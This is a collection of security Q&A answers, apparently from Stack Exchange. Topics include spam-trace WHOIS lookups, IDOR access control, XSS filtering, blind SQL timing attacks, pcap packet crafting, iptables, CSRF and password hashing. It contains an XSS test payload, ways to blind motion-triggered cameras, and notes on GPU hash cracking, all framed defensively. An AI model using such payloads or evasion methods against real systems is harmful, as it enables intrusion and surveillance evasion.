Registrar Registration Expiration Date: 2017-10-03T18:23:32Z
Registrar: 1331
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Registry Registrant ID:Not Available From Registry
Registrant Name: li wei
Registrant Organization: li wei
Registrant Street: hu nan chang sha fu rong qu jie fang dong lu
Registrant City: chang sha shi
Registrant State/Province: hu nan
Registrant Postal Code: 410000
Registrant Country: CN
Registrant Phone: +86.73188888888
Registrant Phone Ext:
Registrant Fax: +86.73188888888
Registrant Fax Ext:
Registrant Email: walktv@126.com
...
all other details for admin and tech the same
...
Name Server:ns1.sedoparking.com
Name Server:ns2.sedoparking.com
DNSSEC: unsigned

so the search engine sees it as russia, but the nslookup shows a name and adress from china. cool, but this is all fake details.

taking this line from the above:

  hu nan chang sha fu rong qu jie fang dong lu

in google maps we find:

  Jiefang E Rd, HuoCheZhan ShangQuan, Furong Qu, Changsha Shi, Hunan
  Sheng, China, 410001

which is an autoservice shop. ok. but were not certain about the exact address. lets get the other ip in that mail.

WHOIS result for 37.139.21.195

inetnum: 37.139.16.0 - 37.139.23.255
netname: DIGITALOCEAN-AMS-3
descr: Digital Ocean, Inc.
country: NL
admin-c: BU332-RIPE
tech-c: BU332-RIPE
status: ASSIGNED PA
mnt-by: digitalocean
mnt-lower: digitalocean
mnt-routes: digitalocean
created: 2013-08-05T17:05:20Z
last-modified: 2013-08-21T16:15:42Z
source: RIPE

person: Ben Uretsky
address: 101 Ave of the Americas, 10th Floor
address: New York, NY 10013
phone: +16463978051
nic-hdl: BU332-RIPE
mnt-by: digitalocean
created: 2012-12-21T18:34:57Z
last-modified: 2014-09-03T16:32:57Z
source: RIPE # Filtered

we see entries here that look quite valid. for digital ocean. a well known vps host.

From this evidence what probably happened (not at all sure, just a theory):

spammer in russia finds a way into a computer in china. probably uses it as a relay, not necessary but a good step for anonymity. especially china which doesnt like to cooperate with anyone regarding this sort of thing.
spammer also buys a vps server, probably to act as that place's vps, or his own. (we don't know the network he has behind this at all, only digital ocean would have the next bounce if there are any)
spammer issues mail to various people with helo statement coming from his  server on some compromised system somewhere, going through vps or vpn and probably other places.
you receive this mail.

like i said before, the mail server doesn't care who you identify as, mail was never all that secure. that's why spammers still exist.

There is an excellent answer to how the mail process works on this site a while ago, still makes me laugh to this day, give it a read. if for nothing else than a smile for the day:

How can PayPal spoof emails so easily to say it comes from someone else?

Anyway hope that helps!


Better techniques than url parameter encryption

Good question!  Thanks for elaborating on the threat you are trying to defend against.  I have edited my answer accordingly.

Summary. Your primary defense should be access control.  You need to limit which users can view which pages.  Details below.

Access control in web applications. What you need to do is check that the user is authorized to access the data you're going to show on a page, before allowing them to see that data.  This basically comes down to access control: you want controls that limit which users can view which data, based upon some authorization policy.

It sounds like you have a sequence of pages, one for each agent:

http://www.example.com/agent/?producerId=12345
http://www.example.com/agent/?producerId=12346
http://www.example.com/agent/?producerId=12347
...

where the producerIds (agentIds) are potentially guessable or predictable.  You want to ensure that agent 12345 can view http://www.example.com/agent/?producerId=12345 but not any of the other pages.  OK.

This is a bog-standard situation, and the bog-standard defense is: access control.

To implement access control, you code the web application so that each page checks whether the user is authorized to view that page before allowing the user to view that page.  For instance, for the page listed above, the logic implementing that page would check the identity of the currently-logged in user.  If the id of the logged-in user matches the producerId of the page parameter, then you show them the information.  If the id does not match, you do not show them the information: if it is some other user, you show them an error page (with information about how to get access), or if the user has not logged in yet, you redirect them to a login page.

This won't break bookmarks.  It does not require changes to the database, changes to the persistence layer, or role-based access control.  It does require you to have a way to look up the identity of the currently logged-in user and associate that with their provider ID.  Also, if you want to allow manager and supervisors to see the data for all other agents, then you need a way to look up the currently logged-in user and determine whether they are a manager or supervisor or not.  If you want to allow only the agent's manager/supervisor to view their page (not all other managers/supervisors), then you need to have a way to determine the manager/supervisor of each agent.  These are pretty basic, minimal requirements; it is hard to see how you could avoid them.

As @symbcbean properly points out, this is a very common error frequently found in web applications.  A typical example might be a site that uses some guessable parameter value to identify a resource, and does not adequately authenticate the user.  For instance, suppose orders are assigned a sequential order number:

https://www.example.com/show_order.php?id=1234
https://www.example.com/show_order.php?id=1235
https://www.example.com/show_order.php?id=1236
...

and suppose that anyone who knows the URL can view the order.  That would be bad, because it means that anyone who knows (or guesses) the order number can view the order, even if they are not authorized to do so.  This is one of OWASP's Top Ten web application security risks: Insecure Direct Object References.  For more information, I recommend reading the resources available on OWASP.  OWASP has lots of great resources on web application security.

Other comments. Others have suggested using SSL.  While that will not prevent parameter tampering, it is a general good security practice that defends against other kinds of problems.  Using SSL is straightforward: just configure your website to use https, instead of http (and ideally, enable HSTS and set the secure bit on all cookies).

Also, it is often better to avoid storing confidential information in URL parameters, all else being equal.  You can store the confidential information in session state or in the database.


Who can actually see the password when I accidentally used ftp instead of sftp?

Traffic should be sniffed to get such thing. So the answer is

Someone in your local network
Local ISP
Hosting provider

However FTP can use TLS authentication which sends the login data encrypted.

It is better to contact hosting provider and place you bought the domain and  inform the issue.


There are several ways to view who's on your network, some easier/less technical than others:

The logging feature in your router;
Sometimes you can view currently connected devices. For example in a FritzBox you can see all devices that have a dhcp lease (i.e. which got an IP address) on the "Home Network" page.
You could scan the network from your laptop using a tool like Zenmap (or Nmap on the command line).
A bit more advanced, but you can also put your WiFi card in monitor mode and look for devices that communicate with your access point. Wireshark and airmon-ng are the tools I would use, but there may be better options.
If you have shell access to your router, you could use netstat or even tcpdump to view connections and traffic.
You could turn off DHCP on your router and enable it on your laptop, so that you can easily see who is trying to get a lease.
Using Wireshark you can see broadcasts on the network. Almost every device broadcasts something from time to time so if your access point works as a switch (i.e. if wireless clients can reach each other on layer 2 (ethernet)) you can pretty easily enumerate all active MAC addresses.


As other folks are mentioning, it would be good to understand the context of the code a bit more.  But this looks like SQL that has a blind SQL payload appended into it (presumably via a SQL injection).  In this case, the SQL + payload is using a timing attack that is intended to pause for a long time in the case of a character match and quickly otherwise.

It is probably used in a loop which iterates through the characters to determine a value in the DB - in this case User().  The $i is the character position in the string being determined - the $s is the current letter being tested.

For more information on this type of timing attack see the time-based section of the OWASP Blind SQL Injection page.


If someone has physical access to the machine they can modify these files to create a new root account or crack existing password hashes which is useful due to the prevalence of password reuse.   Renaming or changing the location would be "(in)security though obscurity" and will provide no appreciable protection against this attack pattern.

Steps to protect your self:

1) Set a bios password,  and force your hard-drive to be the boot drive.  This however does not prevent someone from removing the drive from the machine.

2) Consider full disk encryption.  Even if you just encrypt /etc/ someone could replace /usr/bin or /bin with malicious binaries that could be run as root.   Even your /home/user/.bashrc file can be used to hijack your PATH and obtain root if you are a suoder.

But this isn't a prefect solution. You should think of security in layers and try and prevent physical access to the machine.  (@dr jimbob  has a good point.)


Limiting latter dom-based XSS when setting document.title

If you need to take this approach then why not remove everything apart from alphanumerics and the space character? i.e. go for a whitelist rather than a blacklist. You do not know how standards in HTML and JavaScript may change in future so only allow the characters likely to be good instead of disallowing known bad.

  I do not necessarily have control over how the document.title may be used in other scripts, so I want to ensure that I do some sanitisation in the least destruction matter, but avoid possible scenarios where the way the variable is later processed could possibly be decoded in such a way it latter becomes XSS.

My question to you is who does have control? Of course the correct way to handle this is to correctly output encode when output to the page - I'm just wondering why this is not an acceptable solution for your system. If you cannot control other scripts, how do you know they are secure in other ways?

Replacing <script> does not stop scripts from being embedded. There are lots of other ways to inject script. e.g.

<img src="x" onerror="alert('xss')" />


What is the best strategy for handling a compromised private key within the domain of firmware?

Put multiple public keys in the firmware, with the corresponding private keys stored in diverse locations. Require that updates are signed with all of the private keys, not just one key. Never bring the private keys together, not even for code-signing — instead, move the code around between the locations where the private keys are stored so that each one can sign the code in turn. Then the compromise of one private key will have no impact.


Google Chrome, the best bet for online privacy?

Your arguments seems to be based on the assumption that the majority of tracking is done based on the browser type - which it is not. It is instead based on simple things like cookies, Etag etc but also on more complex things like Javascript based fingerprinting. Such fingerprints do not only depend on the type of browser used, but also on capabilities of the hardware and OS where the browser is running on. Thus the idea of being "part of a larger croud" using the same browser type does not really hold since there are enough ways to be more granular than just based on browser type. And how granular this can be actually depends on the browser, some (like Brave) explicitly try to limit the tracking.

... that the government likely has advanced enough tracking

The majority of tracking is not done by governments anyway. It is done by private companies trying to create user profiles and monetizing these with targeted ads. In countries where the government really wants to track individual users they can count on the cooperation of ISP in order to map individual IP addresses to specific house holds. And within a house hold there are only a few users and browser sessions which are much easier to distinguish from each other.


Windows Print Drivers / Security Principal

In general, drivers can access hardware (that's their point), meaning that they have enough privileges to do whatever they want with the machine. Some operating systems try to somehow constrain some drivers to only a specific subset of the hardware, but it is hard (e.g. if the hardware can do DMA then it takes some effort and some hardware support to ensure that an hostile driver cannot read or write any piece of RAM that it wishes to access).

This is why recent versions of Windows insists on drivers being digitally signed: the signature does not guarantee the safety, but it allows to lay blame and is therefore expected to prevent most attacks (attackers really don't like it when police forces break through their door at 06:00 AM).


Will carrier servers allow the ISP to see anything I'm doing even on a VPN?

The idea of that article is, that there are some people who use SIM cards sold them as "anonimous", where as actually there is essentially less anonymity. But to many people this is natural. If you are calling smb. or if you are using Internet, of course the local mobile providers register such calls and Internet connections. They know your phone number at any time. What they don't know right now is your name, birth date, etc. If police want to find a person by such anonymous SIM and if this person uses it time to time, this person will be found very soon.

To VPN: When your phone establishes a VPN connection, it retrieves certificate of the VPN server and validates it. If it is valid, the phone uses public key of VPN server to initialize encryption in the VPN session. It does not matter, via what networks the connection is established, because nobody can decrypt the traffic.  The nodes between you and VPN server will of course know how much data at what time you sent or received. Based on this they can even know with high probability what kind of data is sent: text, images, audio, video. But they cannot decrypt the traffic.


Any advantage to rejecting a (cell phone) call vs ignoring it?

Letting it ring has no such benefit, because either way, the caller still knows it's an active phone number by the presence of a voicemail system. (even if you haven't 'set up' your voicemail)

Unused active lines would be rather rare, because they cost money. :-)

So any time you like, just reject the call to stop that annoying ring, and proceed to enjoy your day.


If I log on facebook on Chrome am I trackable when I use Firefox?

Go one step further and use a "portable" version of the browser you want to use as your "Facebook" browser. That ensures that you are not co-mingling your web files in the same directories, but allows that browser to collect cookies and internet files that makes it easier to use Facebook (if you want that).

The other thing to mention is to not log in to your Google account if you use Chrome. That connects your activities across browsers.


Difference between directory traversal and file inclusion

Basically, the difference is that with a file inclusion vulnerability, the resource is loaded and executed in the context of the current application. A directory traversal vulnerability on the other hand, only gives you the ability to read the resource.


How to safely collect bank account from website?

The simple answer is don't. Don't handle financial information unless absolutely necessary. Look into third-party payment processors. Supporting them is far easier than tackling the legal and technical challenges of handling sensitive information like bank account numbers. Also, by hosting this information, you are making you and your customers a target.

See Monthly Payment Processing and others like it.


It would be very difficult to bypass a motion-sensitive cameras unless the attacker is dedicated and at least moderately knowledgeable. Some motion-activated cameras simply use fuzzy comparison of a frame with a few previous frames, and initiate recording if the sum of differences reaches a certain threshold. Very slowly placing a lens cover or other obstruction in front of the camera could blind it, and it would not begin recording because the movements are too gradual for it to count them as motion. The obstruction could then be slowly removed afterwards. The same could be accomplished by using a slowly-intensifying light source (even one not in the visible spectrum) to saturate its sensors. Depending on exactly how it detects motion, this could take anywhere from minutes to hours.
Other motion-sensitive cameras use more traditional motion detection, for example with microwaves (this is how automatic doors detect motion) or infrared lasers.  In those cases, certain materials are "invisible" to the camera due to the way they reflect radiation. This is more likely to be used if you are protecting something of extremely high value against a very sophisticated organization. It's quite unlikely that a vandal who has something against your trees will be using those techniques.
Finally, if they are IP cameras that are insecurely configured or connected to a network, any recording made by them could be paused or altered by a hacker. While this is not particularly difficult as most IP cameras are remarkably insecure, it's still not a likely attack vector in your case. To make it more difficult anyway, you should ensure that the cameras are not exposed to the outside internet, that their firmware is up-to-date, and that they are not using default admin credentials.
The real solution
So what should you do? The answer is actually pretty obvious. Set your cameras to record 24/7 rather than when motion is detected. You will need a larger storage medium or you will need to reduce video quality or framerate, but it will defeat all but the most sophisticated attackers. This will protect from any evasion of the flimsy motion-detection features in most cameras.


SMS PDU specification and carving techniques?

I don't know.  You might need to do some experimentation of your own: e.g., send some test SMSs and see what that leads to in the dumps, and then try to corelate them.

Note that Android stores send/received SMSs in a database.  You could try to locate that content provider on the phone's internal flash storage and analyze its contents.  I imagine iOS might well be similar.


Your question is "Can this be stopped?", but I get the feeling that anything significant about the system can't/won't really be changed.

If I understand correctly, you are asking (simplified):

  I have many clients sharing the same username and password. Can I stop misuse?

The answer to that is no. You must decide if you can afford to ignore the problem, or implement correct solutions.

If you really want to do this properly, look into implementing something like OAuth, so you can properly distribute separate auth tokens for end users, link them to your clients for billing, revoke access, etc.

--

The least you should do is allow your clients (the companies) to opt into using a better auth scheme. So, for example, you create an API for them to request (and revoke) separate access tokens for their end-users.

Company A requests token from their servers (this is initiated by their app telling them "give me a token")
You return token N, record what company it's attached to
If Company A-s app connects to your service, it sends the token N, and not username/password
Company A can tell your service "revoke token N", and futher requests with that token will not be served by your service. But, if a token is revoked, it won't render all client apps unusable.

If a company does not want to do this, they can still continue connecting using their username/password, but they would be completely responsible for all resulting usage.

The point is that you can't really hold your clients accountable for leaking credentials (something that is impossible to do in a mobile app scenario) if they have no other way to use the service.


PCap library can be used not only to sniff packets, but also to construct and send packets.

  In the field of computer network administration, pcap (packet capture)
  consists of an application programming interface (API) for capturing
  network traffic. Unix-like systems implement pcap in the libpcap
  library; Windows uses a port of libpcap known as WinPcap.

There is a good example:

  The simplest way to send a packet is shown in the following code
  snippet. After opening an adapter, pcap_sendpacket() is called to send
  a hand-crafted packet. pcap_sendpacket() takes as arguments a buffer
  containing the data to send, the length of the buffer and the adapter
  that will send it. Notice that the buffer is sent to the net as is,
  without any manipulation. This means that the application has to
  create the correct protocol headers in order to send something
  meaningful.

Please note you have the full control. You can change Ethernet frame as well.

#include <stdlib.h>
#include <stdio.h>

#include <pcap.h>

void main(int argc, char **argv)
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[100];
int i;

    /* Check the validity of the command line */
    if (argc != 2)
    {
        printf("usage: %s interface (e.g. 'rpcap://eth0')", argv[0]);
        return;
    }

    /* Open the output device */
    if ( (fp= pcap_open(argv[1],            // name of the device
                        100,                // portion of the packet to capture (only the first 100 bytes)
                        PCAP_OPENFLAG_PROMISCUOUS,  // promiscuous mode
                        1000,               // read timeout
                        NULL,               // authentication on the remote machine
                        errbuf              // error buffer
                        ) ) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
        return;
    }

    /* Supposing to be on ethernet, set mac destination to 1:1:1:1:1:1 */
    packet[0]=1;
    packet[1]=1;
    packet[2]=1;
    packet[3]=1;
    packet[4]=1;
    packet[5]=1;

    /* set mac source to 2:2:2:2:2:2 */
    packet[6]=2;
    packet[7]=2;
    packet[8]=2;
    packet[9]=2;
    packet[10]=2;
    packet[11]=2;

    /* Fill the rest of the packet */
    for(i=12;i<100;i++)
    {
        packet[i]=i%256;
    }

    /* Send down the packet */
    if (pcap_sendpacket(fp, packet, 100 /* size */) != 0)
    {
        fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
        return;
    }

    return;
}

Update

There are several wrappers available:

http://sourceforge.net/projects/jpcap/
http://jnetpcap.com/
https://code.google.com/p/sjpcap/


What algorithms are best be cracked by GPU?

Thousands of iterations of MD5 make the password hashing harder for everybody, regardless of the type of hardware used. It does not make things specifically worse for a GPU. What makes things harder for a GPU (compared to a generic purpose CPU) is anything which uses lots of RAM: a GPU can access much RAM, but not with full parallelism.

Algorithms which rely on 32-bit integer operations (arithmetic and logical) are very efficiently implemented on GPU. This includes MD5, SHA-1, and the "small" SHA-2 (SHA-224 and SHA-256). SHA-384 and SHA-512 use 64-bit operations, and GPU have trouble with that -- so a GPU will give you a lesser boost when cracking a SHA-512 based password hash than a SHA-256 based function. Bcrypt uses a lot of memory accesses to a mutating 4 kB array, and GPU will suffer on that, to the point that basic CPU may be a better choice for trying to crack bcrypt passwords than a GPU. Theoretically, scrypt is even more hostile to GPU.

This is why bcrypt can be viewed as a better choice for password hashing than PBKDF2 (the standard way of doing multiple nested hashing with a generic hash function like SHA-1)(see this answer for details). Still, the configurable number of iterations can make password cracking quite difficult even for a huge GPU, and PBKDF2/SHA-256 with one million iterations will be tremendously more secure against attacks than a single call to SHA-512.


Which set of rules is more restrictive when allowing SSH in iptables?

Set B, in isolation does not allow ssh communications. It merely permits a connection allowed by other rules to be continued or (subject to certain combinations such as for H.323 and FTP) for new connections to be established between IP addresses which have an existing entry in the conntrack table.

The problem with Set A is that it is not stateful - an attacker could create a client connection to any port on your server as long as the client end used port 22. To address this problem you need a stateful firewall - i.e. one that takes into consideration the direction of the connection. Hence its more common to see something like:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
...
iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT

Putting ESTABLISHED,RELATED first means that the whole ruleset need only be parsed once per connection - subsequent packets are matched by the first 2 rules. This can have a lot of impact on a latency with a complex ruleset.

The downside of using stateful firealling is that it consumes resource on the server - when the conntrack table fills up, the firewall will start dropping connections. OTOH, the stateful module allows for more complex demand management - typically by limiting the rate of connections.

  with certificate-authentication-only

Really? While there are versions of ssh using certificates for managing keys it is a very unusual case. Do you mean key pairs?

  None of both sets is superior in general

...

  Which of both sets is more restrictive

If neither is superior, how can one be better?

For a host firewall, you should use stateful firewalling - to prevent the bypass described earlier.


How to block user from using GoToMyPC or Teamviewer

There's a few options here:

Force users through a web proxy set to block remote desktop applications
Block the IP addresses of popular remote desktop applications. These protocols use https to connect, so you can't filter on port. You either have to make group with all the IPs, or filter on their DNS entries if your firewall supports it
Prevent users from being able to download and run the applets the sites use. That will prevent them from being able to use the sites


To answer you question, you must first understand what CSRF is, what kind of vulnerability it counters. Wikipedia has a good enough explanation on it.

In a nutshell, CSRF is a server-side problem, which shouldn't concern you as the react/angular dev. By definition your application is a legit application, and any api call should you're making on the backend server should pass the CSRF check.

How the backend server will consider the api call as safe is another question, and the answer depends on multiple factors such as how the user is authenticated, which framework is used to develop the server, etc.

A main point is that CSRF is tightly related to cookie, as the whole logic is to push an innocent victim to unknowingly submit a maliciously crafted web request. This is possible because the server will consider that the request is valid because the cookie sent with the request is valid and no CSRF check is done.

For example, if your application uses an authentication schema based on bearer or JWT token sent in the authentication header (and stored in local storage) the CSRF attack simply isn't possible because those tokens aren't sent with every request to the server as cookies are. CSRF simply doesn't work in that case.

If you use a cookie based auth with your SPA you are vulnerable to CSRF. In that case they are multiple solutions. ALL are implemented server side.

For example, one method is based on the fact that your SPA will always do a call using a HEAD method before doing a post, so if the server can return a cookie with a valid CSRF token for the session, you should pass CSRF protection.

Another method is to retrieve the token from a previous api call and manually add it as a hidden field in any put/delete/post/patch method.

In the end, ask your backend dev what he wants you to do.


Best way to trace possible root cause of card fraud?

Your personal data is probably safe. Card theft happens all the time, and usually the thieves are after your card and nothing else. They usually sell cards wholesale (something called dumps) and don't care about monetizing your email, your passwords or anything unrelated to the card. That means your name, phone, and address could have been leaked, and little else.

No.

Banks usually don't give any information to you because doing so would disclose their investigation methods.

You cannot be sure.

Usually data is stolen when someone have your card in their hands, or copied when entered online. And you don't have any way to know how long it was between the time of the leak and time of usage.


Is a biometric eye scan more secure than a multi-factor authentication

Biometrics can be effective as authentication or as identification, but not both at the same time.

According to Wikipedia, retinal scans are accurate to approximately one in one million, meaning on the earth today there are approximately 7,000 individuals who will be identified as you in a retinal scan. Assuming no further authentication is necessary, these people will be both identified and authenticated as you in a single (mis-)step.

But if coupled with an external identification step, biometric authentication becomes a second factor. Typically identification is accomplished by an identification badge ("something you have") while authentication happens through biometrics ("something you are"). So it does turn out to  be true two-factor authentication.

This is inherently better than card-and-pin because of the three available factors, "something you know" is the easiest to fake.

So assuming identification happens using a token of some sort (which is very typical in biometric authentication installations, but not explicitly stated here), then the question is poorly-worded but has at least the right idea. Assuming instead that the eye-scan stands alone as both identification and authentication, then answer 3 would be correct.

Either way, the question could use some clarification. It refers to authentication alone without even a word about identification; but that's an absolutely critical factor in evaluating the security of the system and definitely makes a difference here. It's left to the reader to divine the contents of the question-writer's head, which is poor form in writing standardized tests.


Is it possible to truly hide content behind a paywall in a single page app?

You can have a SPA and still have the (real) content be protected.

ie.

Let's say that the paywall data is just text and images.

Publically you expose your standard static assets, ie. index.html, some Vue javascript, your CSS.

All of this handles the look-feel, user interaction with the website etc.

On the backend, you have an API serving up the protected content, and that requires authentication, whether that's cookies, or JWTs doesn't matter. The backend API will only give the data if the JWT or cookie is valid.

So the frontend attaches a cookie or JWT to the requests to this API, and that's how it gets and displays the protected content.

So the malicious user can hack at the javascript all they want, and see what the website might look like for a legitimate user, but they can't see the content itself.

Now note, they might be able to see the shape of the content. For example, if they read the frontend source code and see something like this:

    const response = await fetch("/api/users");
    const data = await response.json();
    const {ssn, address, id} = data;

Then they know what kind of data you returning from your API.

But that's where you could obfuscate that data, like this:

const data = [
    {
        key: "ssn",
        value: 123,
    },
    {
        key: "address",
        value: "foo bar lane"
    }
]

and display it like:

   data.forEach(v=> console.log(`${v.key} : ${v.value}`));

But of course, that might prove unwieldy, it's a question of whether a malicious attacker knowing the shape of your data is really problematic or not.


How to protect my network against local flood attacks?

The registry settings that you list are for particular types of mal-formed traffic that can cause DoS. But what you are doing is sending more traffic than the destination can handle. All the packets are properly formed. There is no registry setting to protect against high-volume floods.

To protect something from a flood, you need something in between that can hold the flood back. Like a router.


Does it make any sense to alter a hashed password?

There is a basic rule when considering hashing passwords and other secret-keeping within an application:

  The attacker knows everything the application knows.

So in this case, you don't gain anything, since the attacker can simply remove your obfuscation and then go about cracking your passwords directly. The same goes for:

"secret" salts
custom hashing algorithms
reversible encryption

Don't waste your time here. Get a standard, best-practice password hashing algorithm (bcrypt, scrypt, PHPass, PBKDF2) and spend your time securing your application.


How are victims targeted from outer networks (WAN)

To directly answer your question: it is possible to either attack a program that the victim is running (which made an outbound connection through the router, and the attacker exploits the program by injecting malicious traffic as though it's a response from the server), or to compromise the router (home routers, in particular, have notoriously weak security) and from there attack the local network.

The most common case of the first attack are, of course, browser exploits. The victim's web browser sends out a request through the router to the Internet, and the attacker gets their malicious payload included in the response (possibly because the victim connected to the attacker's server directly, possibly because the attacker got their payload included in an ad network and the victim doesn't use ad blocking, possibly because the attacker compromised somebody else's server and the victim connected to that... lots of ways). The attacker's payload is received by the victim's web browser, the browser tries to execute the script or whatever, and through some memory corruption bug or similar the attacker gains code execution on the victim's computer. The payload then reaches out from the victim's computer to the attacker's computer, establishing a tunnel through which the attacker can control the victim's system, steal data, probe the LAN, and so on.

In practice, though, most attacks aren't either of those things. Phishing attacks are extremely common, and are usually trying to steal the user's credentials to something that the attackers could access (like a cloud service account) without needing to be on the LAN. If you specifically want to attack the victim's computer on their LAN, the usual way to do that is through Trojan software (if you don't care exactly who you get, and just want to hit as many people as possible) or malicious email / chat / whatever attachments (these are also sometimes automated, of course). Trojan software is usually distributed from some common source, most commonly pirate (warez) sites and torrents but also sometimes through "official" distributers like NPM (Node.js packages), Aptitude (Linux packages), mobile app stores, or similar. Attacks of the latter kind are typically discovered quickly, but because most people trust those sites and let their devices update automatically, it might hit a lot of victims first.


Are anti-virus companies companies regularly committing software piracy?

First, I would seriously question whether a malware author would ever bring suit against an antivirus vendor, since it would require admission of a serious crime. But let's suppose that the malware author has already been charged for creation and use of the malware and therefore has nothing to lose by fully admitting authorship.

Copying software for malware analysis seems like a textbook case of fair use (under U.S. law, anyway). Of course, U.S. fair use is a defense that is usable only once you already engaged in a lawsuit (and its parameters are notoriously vague), but let's indulge in a little armchair speculation about how such a lawsuit might resolve. To take the fair use criteria one by one:

Purpose and character of use: The use of the copy is legally transformative, which means that it creates something new, instead of merely attempting to recreate the original. Here, the analysts are producing a malware assessment based on the original software. They're not creating a copy just to have an extra copy; they use the copy to produce something novel. This factor heavily favors the analysts.
Nature of the copied work: The piece of malware is a published, creative work that rightfully enjoys copyright protection. This factor favors the malware authors.
Amount and substantiality: The analysts use the whole software in their analyses. This factor favors the malware authors.
Effect upon work's value: Virtually none, which favors the analysts. In fact, the work has little legitimate market, since its primary use is illegal. (While it may be the case that AV vendors reduce the value of malware by building defenses against it, this is not the same as harm caused by creating a substitute work. Wikipedia sumarizes it aptly: "Courts recognize that certain kinds of market harm do not oppose fair use, such as when a parody or negative review impairs the market of the original work.")

While factors #2 and #3 are in favor of the malware authors, the transformative use of the malware lends tremendous legal weight to the fair use argument in favor of the analysts. Only a judge can make a final ruling on fair use, but I suspect that a reasonable judge would rule in favor of copying malware for analytic purposes.

N.B.: This answer considers the legality of copying from a limited, copyright-only perspective. There are other statutes beyond copyright (e.g., ACTA, DMCA) that may be violated when copying malware or legitimate software without permission from the copyright holder. Even if a use is protected by fair use, the fair use defense protects against copyright infringement only, not other violations that may also occur during (or be necessary for) the act of a fair use.

(For example, you may want to include a few seconds of a movie in a video report for your cinematography class, but your copy of the movie only plays in a proprietary player that does not allow exporting snippets of the film. If you download a tool for circumventing the "no exporting of snippets" restriction of your player, then you have violated the DMCA, even though your ultimate goal was probably fair use.)

In short: the analysts' copyright infringement is probably legally defensible under fair use, but analysts may still be in violation of other statutes that are separate from traditional copyright.


Somehow unexpectedly my computer got infected with malware

The easy answer is: browser exploits. Not visiting "dodgy" sites does not, in any way, mean that you're 100% safe. There have been many cases of exploits loaded through flash or pure HTML/JS through ad networks, for instance (if you are a gamer, Curse had this two years ago).

Even if everything you have is up to date, there are still ways around it. There are hacking competitions every year with the sole aim to prove that 0day exploits (exploits used before the manufacturer is aware of the exploit) are still alive and kicking. Pwn2own proved this pretty clearly every year it ran. Take, for example, the 2011 results:

stock IE (no plugins) fell on day 1
Safari (latest + fully patched mac) also fell on day 1
All phones were hacked on day 2
At the end of the contest, Chrome and Firefox remained unhacked.

"Hacked" means in this case that the hacker had access to program execution (by running calculator.exe as a proof) and disk I/O (by writing a file to disk).

In 2012, Chrome fell, by the way. Along with Firefox.

All this is to say that, no matter what, a fully patched system does not equal to "secure". By the looks of it, you've been victim of a drive-by attack. DealPly has been reported to do this, by the way. A full security advisory for it is available from Symantec.

P.S: if you're running IE7 or 8...Neither of those has a sandbox.


Is it safe to remove read-only attribute from wwwroot?

No it is not safe to grant IIS_USRS any kind of write access. This would give an attacker a chance for example to create a webshell if he found the right entry point. By default and for good reason it has only read and execute permissions.

If you need to write new files or edit existing do that through a different process and account not linked to the IIS application pool running the main site.

This question's answers are also relevant

https://stackoverflow.com/questions/23319955/what-are-the-security-effects-of-giving-the-iis-iusrs-a-full-control-permission


Storage of certificates and keys in hardware security modules (Use-case TLS)

The key thing to understanding the difference is to realize that you don't care directly about the security properties of the key. They're just a tool to ensure the security properties that you care about, which come from the use of the key.

If you need to keep an asset confidential for indirect reasons, then there is a benefit in keeping it in a high-security area that only allows the asset to be used in a specific way. For example, suppose a private key is in an HSM which allows a computer to sign or decrypt with this key¹, but does not allow the computer to extract a copy of the key. If the computer is compromised but the HSM isn't, then the attacker can use the key, but these uses will be recorded in the HSM log, so you have some information about the consequences of the breach. Furthermore, if you regain control over the computer, you know that the attacker cannot use the key anymore; this is typically not so useful for a signing key (unless the HSM logs tell you that the key hasn't been used) but it is useful for a decryption key.

If you need to protect the integrity of an asset for indirect reasons, it's another story. Consider again the computer+HSM setup, this time with a public key or a certificate in the HSM. After a recovering computer compromise, you know the attacker has not been able to modify the copy of the certificate in the HSM. That doesn't really help you, because you needed to restore a lot of data from backup, including the copy of that certificate. While the attacker has access to the computer, it doesn't matter that the certificate is in the HSM. If the attacker is bothered by that, they'll just modify the code on the computer to not access the HSM.

Using a trusted place to store a copy of data whose integrity is required is important, but you don't need an HSM for that: that's what backups are for. If you can't guarantee the integrity of the code that manipulates the data, you dont gain anything from better protecting the integrity of the data.

Thus, in your case, you definitely should put the private key in the HSM (3). There's no benefit to putting certificates in the HSM for normal operation (1, 2), but it might help you recover after a breach if you're somehow able to regain control of the device. The certificates alone aren't enough, but they might be part of a larger root of trust that includes all the code needed to boot the device in a trustworthy state.

¹  It shouldn't allow both with the same key.


Cost efficiency

There are known methods that would work to extract data from EMV cards, namely, decapping the chip and analyzing its contents with various microscopy and probing techniques; just  as for other chips. For example, here's a PhD thesis on how it can be done for SIM cards. However, the issue is that it's not practical - you need full access to the original chip (not temporary access as in skimming scenarios), the analysis is destructive (you break down the chip mechanically and/or with solvents), and it requires highly specialized equipment and skills, doing such an analysis costs much more than you could hope to earn by cloning a single card. This means that it's not considered a serious risk, as there's no practical motivation for criminals to do so, and it can be mitigated by various transaction limits and the expectation that a physically missing card will be detected and blocked soon.


Degree of safety of an unencrypted hard-drive and the general theory behind it

Aikore and Leo are both right, but they are referring to two different situations, both starting with "getting a HDD and putting it into another computer".

To keep thing simple, you have a hard drive with exactly one document. That one document has a contents, and sits inside a file system that details both its position on disk and its access control rules - it says, "This document is Alice's".

"Putting the hard disk on a different computer" tells me nothing about what this other computer does.

If it is a Windows computer, it could try and treat this new disk as its own; so it will read everything from the disk, including the tidbit that the document is "Alice's". But who is Alice on the new computer? Chances are there's no such user. So, the new Windows might refuse to let Bob read the document.

Now Eve mounts the disk on a Linux computer and instructs it to ignore those pesky ACLs. The ntfs-3g driver on the computer reads almost everything from the disk - it reads where the document is, what is its name, where its starts and where it ends, and presents it to Eve. Who can now read and even edit the document. ACLs did not protect the document now, because they are enforced at the OS's whim, and this OS chose not to enforce them. It is also possible to get Windows to ignore them, albeit it's very slightly more complicated.

How does Alice protect her document? She needs to encrypt it. Now the contents is still accessible to Eve (and Bob), but without the key they can't make heads or tails of it.

